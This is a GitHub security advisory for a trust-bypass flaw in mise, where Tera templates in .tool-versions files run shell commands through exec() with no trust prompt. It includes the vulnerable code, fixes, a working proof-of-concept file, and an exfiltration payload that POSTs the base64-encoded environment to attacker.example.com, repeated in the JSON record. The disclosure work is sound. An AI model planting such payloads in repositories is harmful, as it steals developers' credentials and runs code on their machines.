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    GHSA-FJJ5-V948-WHJJ

    Vulnerability from github – Published: 2026-06-22 17:19 – Updated: 2026-06-22 17:19
    VLAI
    Summary
    Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)
    Details

    Summary

    Mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt.

    Vulnerability Details

    Vulnerable Code

    File: src/config/config_file/tool_versions.rs, lines 60-63

    pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
        let mut cf = Self::init(&path);
        let dir = path.parent();
        let s = get_tera(dir).render_str(s, &cf.context)?;  // <-- No trust check
        // ...
    }
    

    File: src/tera.rs, lines 385-391

    pub fn get_tera(dir: Option<&Path>) -> Tera {
        let mut tera = TERA.clone();
        let dir = dir.map(PathBuf::from);
        tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
        tera.register_function("read_file", tera_read_file(dir));
        tera
    }
    

    File: src/tera.rs, lines 394-452 -- tera_exec passes the command argument to a shell for execution with no restrictions.

    File: src/config/config_file/mod.rs, lines 272-287

    pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> {
        if let Ok(settings) = Settings::try_get()
            && settings.paranoid
        {
            trust_check(path)?;  // Only in paranoid mode!
        }
        match detect_config_file_type(path).await {
            // ...
            Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)),
            // ...
        }
    }
    

    Attack Vector

    1. An attacker creates a .tool-versions file in a git repository containing Tera template syntax with the exec() function.
    2. The victim clones the repository and has mise activated in their shell (via eval "$(mise activate zsh)" or equivalent).
    3. When the victim cds into the repository directory, mise's shell hook (hook-env) fires automatically.
    4. hook-env loads and parses config files, including .tool-versions.
    5. During parsing, ToolVersions::parse_str processes the file content through get_tera(dir).render_str().
    6. The Tera engine evaluates {{ exec(command="...") }}, executing arbitrary commands as the victim's user.
    7. No trust prompt is displayed because trust_check is not called for .tool-versions files in non-paranoid mode.

    Execution Context

    • Commands execute as the current user with full access to their environment.
    • The pristine environment (env::PRISTINE_ENV) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.).
    • Execution happens silently during the prompt hook -- the user sees no indication that code was run.

    Contrast with .mise.toml

    .mise.toml files are protected: MiseToml::from_str() calls trust_check(path) before any parsing occurs (line 213 of mise_toml.rs). During hook-env, untrusted .mise.toml files fail to parse with an UntrustedConfig error, preventing any code execution. .tool-versions files lack this protection entirely.

    Steps to Reproduce

    Prerequisites

    • mise installed (brew install mise or equivalent)
    • Shell activation enabled: eval "$(mise activate zsh)" (or bash/fish)
    • Default settings (paranoid mode NOT enabled — this is the default)

    PoC: Silent RCE on cd

    Step 1: Create a directory simulating a cloned repository with a malicious .tool-versions:

    mkdir -p /tmp/poc-mise-repo
    cd /tmp/poc-mise-repo
    git init
    
    cat > .tool-versions << 'EOF'
    {{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0
    python 3.11.0
    EOF
    
    git add -A && git commit -m "Initial commit"
    

    Note: The exec() output is concatenated with node so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the exec() returns an empty string, making the line evaluate to node 20.0.0.

    Step 2: In a new shell with mise activated, enter the directory:

    eval "$(mise activate zsh)"
    cd /tmp/poc-mise-repo
    

    Step 3: Verify arbitrary code execution:

    cat /tmp/mise-rce-proof
    

    Expected output:

    uid=501(youruser) gid=20(staff) groups=20(staff),...
    SUCCESS=youruser
    Mon Mar 16 21:34:46 IST 2026
    

    No trust prompt, no warning, no error output. The id command executed silently as the current user.

    Validated Test Results

    Tested on 2026-03-16 with: - mise 2026.3.9 macos-arm64 - macOS Darwin 24.5.0 arm64 - zsh 5.9 - Paranoid mode: false (default)

    Test 1 — .tool-versions (no trust check):

    $ rm -f /tmp/mise-rce-proof
    $ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd'
    /tmp/poc-mise-repo
    $ cat /tmp/mise-rce-proof
    uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
    SUCCESS=golan
    Mon Mar 16 21:34:46 IST 2026
    

    Command executed silently. No trust prompt. No errors.

    Test 2 — .mise.toml with same payload (trust check blocks execution):

    $ mkdir -p /tmp/poc-mise-toml
    $ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF'
    [tools]
    node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0"
    TOMLEOF
    $ rm -f /tmp/mise-hook-pwned
    $ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd'
    mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.
    Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html
    $ cat /tmp/mise-hook-pwned
    cat: /tmp/mise-hook-pwned: No such file or directory
    

    .mise.toml correctly blocked by trust verification. .tool-versions bypasses it entirely.

    Alternative PoC (data exfiltration)

    {{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0
    

    Impact

    • Arbitrary code execution on any machine where a user with mise activated enters a directory containing a malicious .tool-versions file.
    • Supply chain attack vector: .tool-versions is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.
    • Silent execution: No trust prompt, warning, or user interaction required.
    • Full user privilege escalation: Commands run with the full privileges and environment of the current user.
    • Credential theft: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.
    • Widespread potential impact: Any open-source project with a .tool-versions file could be targeted. A malicious PR adding tera syntax to an existing .tool-versions file could execute code on all reviewers' machines.

    Suggested Fix

    Option 1: Add trust_check to .tool-versions parsing (recommended)

    // In src/config/config_file/tool_versions.rs
    pub fn from_file(path: &Path) -> Result<Self> {
        trace!("parsing tool-versions: {}", path.display());
        Self::parse_str(&file::read_to_string(path)?, path.to_path_buf())
    }
    
    pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
        let mut cf = Self::init(&path);
        let dir = path.parent();
        // Only use tera if the file contains template syntax AND is trusted
        let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") {
            trust_check(&path)?;
            get_tera(dir).render_str(s, &cf.context)?
        } else {
            s.to_string()
        };
        // ...
    }
    

    Option 2: Remove exec() from .tool-versions tera context

    Create a separate get_tera_safe() that does not register the exec function, and use it for .tool-versions parsing.

    Option 3: Remove tera processing from .tool-versions entirely

    .tool-versions is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.

    Show details on source website

    {
      "affected": [
        {
          "package": {
            "ecosystem": "crates.io",
            "name": "mise"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "2026.3.10"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-33646"
      ],
      "database_specific": {
        "cwe_ids": [],
        "github_reviewed": true,
        "github_reviewed_at": "2026-06-22T17:19:56Z",
        "nvd_published_at": null,
        "severity": "CRITICAL"
      },
      "details": "## Summary\n\nMise processes `.tool-versions` files through the Tera template engine during parsing, with the `exec()` function registered, enabling arbitrary command execution. Unlike `.mise.toml` files, `.tool-versions` files are **not subject to trust verification** in non-paranoid mode. This means an attacker can place a malicious `.tool-versions` file in a git repository, and when a victim with mise activated `cd`s into the directory, arbitrary commands execute without any trust prompt.\n\n## Vulnerability Details\n\n### Vulnerable Code\n\n**File:** `src/config/config_file/tool_versions.rs`, lines 60-63\n\n```rust\npub fn parse_str(s: \u0026str, path: PathBuf) -\u003e Result\u003cSelf\u003e {\n    let mut cf = Self::init(\u0026path);\n    let dir = path.parent();\n    let s = get_tera(dir).render_str(s, \u0026cf.context)?;  // \u003c-- No trust check\n    // ...\n}\n```\n\n**File:** `src/tera.rs`, lines 385-391\n\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n    let mut tera = TERA.clone();\n    let dir = dir.map(PathBuf::from);\n    tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n    tera.register_function(\"read_file\", tera_read_file(dir));\n    tera\n}\n```\n\n**File:** `src/tera.rs`, lines 394-452 -- `tera_exec` passes the `command` argument to a shell for execution with no restrictions.\n\n**File:** `src/config/config_file/mod.rs`, lines 272-287\n\n```rust\npub async fn parse(path: \u0026Path) -\u003e Result\u003cArc\u003cdyn ConfigFile\u003e\u003e {\n    if let Ok(settings) = Settings::try_get()\n        \u0026\u0026 settings.paranoid\n    {\n        trust_check(path)?;  // Only in paranoid mode!\n    }\n    match detect_config_file_type(path).await {\n        // ...\n        Some(ConfigFileType::ToolVersions) =\u003e Ok(Arc::new(ToolVersions::from_file(path)?)),\n        // ...\n    }\n}\n```\n\n### Attack Vector\n\n1. An attacker creates a `.tool-versions` file in a git repository containing Tera template syntax with the `exec()` function.\n2. The victim clones the repository and has mise activated in their shell (via `eval \"$(mise activate zsh)\"` or equivalent).\n3. When the victim `cd`s into the repository directory, mise\u0027s shell hook (`hook-env`) fires automatically.\n4. `hook-env` loads and parses config files, including `.tool-versions`.\n5. During parsing, `ToolVersions::parse_str` processes the file content through `get_tera(dir).render_str()`.\n6. The Tera engine evaluates `{{ exec(command=\"...\") }}`, executing arbitrary commands as the victim\u0027s user.\n7. No trust prompt is displayed because `trust_check` is not called for `.tool-versions` files in non-paranoid mode.\n\n### Execution Context\n\n- Commands execute as the current user with full access to their environment.\n- The pristine environment (`env::PRISTINE_ENV`) is passed to the executed command, which includes all of the user\u0027s environment variables (potentially including tokens, credentials, SSH agents, etc.).\n- Execution happens silently during the prompt hook -- the user sees no indication that code was run.\n\n### Contrast with .mise.toml\n\n`.mise.toml` files are protected: `MiseToml::from_str()` calls `trust_check(path)` before any parsing occurs (line 213 of `mise_toml.rs`). During `hook-env`, untrusted `.mise.toml` files fail to parse with an `UntrustedConfig` error, preventing any code execution. `.tool-versions` files lack this protection entirely.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- mise installed (`brew install mise` or equivalent)\n- Shell activation enabled: `eval \"$(mise activate zsh)\"` (or bash/fish)\n- Default settings (paranoid mode NOT enabled \u2014 this is the default)\n\n### PoC: Silent RCE on `cd`\n\n**Step 1:** Create a directory simulating a cloned repository with a malicious `.tool-versions`:\n\n```bash\nmkdir -p /tmp/poc-mise-repo\ncd /tmp/poc-mise-repo\ngit init\n\ncat \u003e .tool-versions \u003c\u003c \u0027EOF\u0027\n{{ exec(command=\"id \u003e /tmp/mise-rce-proof \u0026\u0026 echo SUCCESS=$(whoami) \u003e\u003e /tmp/mise-rce-proof \u0026\u0026 date \u003e\u003e /tmp/mise-rce-proof\") }}node 20.0.0\npython 3.11.0\nEOF\n\ngit add -A \u0026\u0026 git commit -m \"Initial commit\"\n```\n\nNote: The `exec()` output is concatenated with `node` so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout \u2014 the `exec()` returns an empty string, making the line evaluate to `node 20.0.0`.\n\n**Step 2:** In a new shell with mise activated, enter the directory:\n\n```bash\neval \"$(mise activate zsh)\"\ncd /tmp/poc-mise-repo\n```\n\n**Step 3:** Verify arbitrary code execution:\n\n```bash\ncat /tmp/mise-rce-proof\n```\n\n**Expected output:**\n```\nuid=501(youruser) gid=20(staff) groups=20(staff),...\nSUCCESS=youruser\nMon Mar 16 21:34:46 IST 2026\n```\n\nNo trust prompt, no warning, no error output. The `id` command executed silently as the current user.\n\n### Validated Test Results\n\nTested on 2026-03-16 with:\n- mise 2026.3.9 macos-arm64\n- macOS Darwin 24.5.0 arm64\n- zsh 5.9\n- Paranoid mode: `false` (default)\n\n**Test 1 \u2014 `.tool-versions` (no trust check):**\n```\n$ rm -f /tmp/mise-rce-proof\n$ zsh -c \u0027eval \"$(mise activate zsh)\" \u0026\u0026 cd /tmp/poc-mise-repo \u0026\u0026 pwd\u0027\n/tmp/poc-mise-repo\n$ cat /tmp/mise-rce-proof\nuid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\nSUCCESS=golan\nMon Mar 16 21:34:46 IST 2026\n```\n\nCommand executed silently. No trust prompt. No errors.\n\n**Test 2 \u2014 `.mise.toml` with same payload (trust check blocks execution):**\n```\n$ mkdir -p /tmp/poc-mise-toml\n$ cat \u003e /tmp/poc-mise-toml/.mise.toml \u003c\u003c \u0027TOMLEOF\u0027\n[tools]\nnode = \"{{ exec(command=\u0027id \u003e /tmp/mise-hook-pwned\u0027) }}20.0.0\"\nTOMLEOF\n$ rm -f /tmp/mise-hook-pwned\n$ zsh -c \u0027eval \"$(mise activate zsh)\" \u0026\u0026 cd /tmp/poc-mise-toml \u0026\u0026 pwd\u0027\nmise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.\nTrust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html\n$ cat /tmp/mise-hook-pwned\ncat: /tmp/mise-hook-pwned: No such file or directory\n```\n\n`.mise.toml` correctly blocked by trust verification. `.tool-versions` bypasses it entirely.\n\n### Alternative PoC (data exfiltration)\n\n```\n{{ exec(command=\"curl -s -X POST -d \\\"$(env | base64)\\\" https://attacker.example.com/collect -o /dev/null\") }}python 3.11.0\n```\n\n## Impact\n\n- **Arbitrary code execution** on any machine where a user with mise activated enters a directory containing a malicious `.tool-versions` file.\n- **Supply chain attack vector**: `.tool-versions` is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.\n- **Silent execution**: No trust prompt, warning, or user interaction required.\n- **Full user privilege escalation**: Commands run with the full privileges and environment of the current user.\n- **Credential theft**: The user\u0027s full environment (including tokens, API keys, SSH agent) is available to the executed command.\n- **Widespread potential impact**: Any open-source project with a `.tool-versions` file could be targeted. A malicious PR adding tera syntax to an existing `.tool-versions` file could execute code on all reviewers\u0027 machines.\n\n## Suggested Fix\n\n### Option 1: Add trust_check to .tool-versions parsing (recommended)\n\n```rust\n// In src/config/config_file/tool_versions.rs\npub fn from_file(path: \u0026Path) -\u003e Result\u003cSelf\u003e {\n    trace!(\"parsing tool-versions: {}\", path.display());\n    Self::parse_str(\u0026file::read_to_string(path)?, path.to_path_buf())\n}\n\npub fn parse_str(s: \u0026str, path: PathBuf) -\u003e Result\u003cSelf\u003e {\n    let mut cf = Self::init(\u0026path);\n    let dir = path.parent();\n    // Only use tera if the file contains template syntax AND is trusted\n    let s = if s.contains(\"{{\") || s.contains(\"{%\") || s.contains(\"{#\") {\n        trust_check(\u0026path)?;\n        get_tera(dir).render_str(s, \u0026cf.context)?\n    } else {\n        s.to_string()\n    };\n    // ...\n}\n```\n\n### Option 2: Remove exec() from .tool-versions tera context\n\nCreate a separate `get_tera_safe()` that does not register the `exec` function, and use it for `.tool-versions` parsing.\n\n### Option 3: Remove tera processing from .tool-versions entirely\n\n`.tool-versions` is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.",
      "id": "GHSA-fjj5-v948-whjj",
      "modified": "2026-06-22T17:19:56Z",
      "published": "2026-06-22T17:19:56Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/jdx/mise"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)"
    }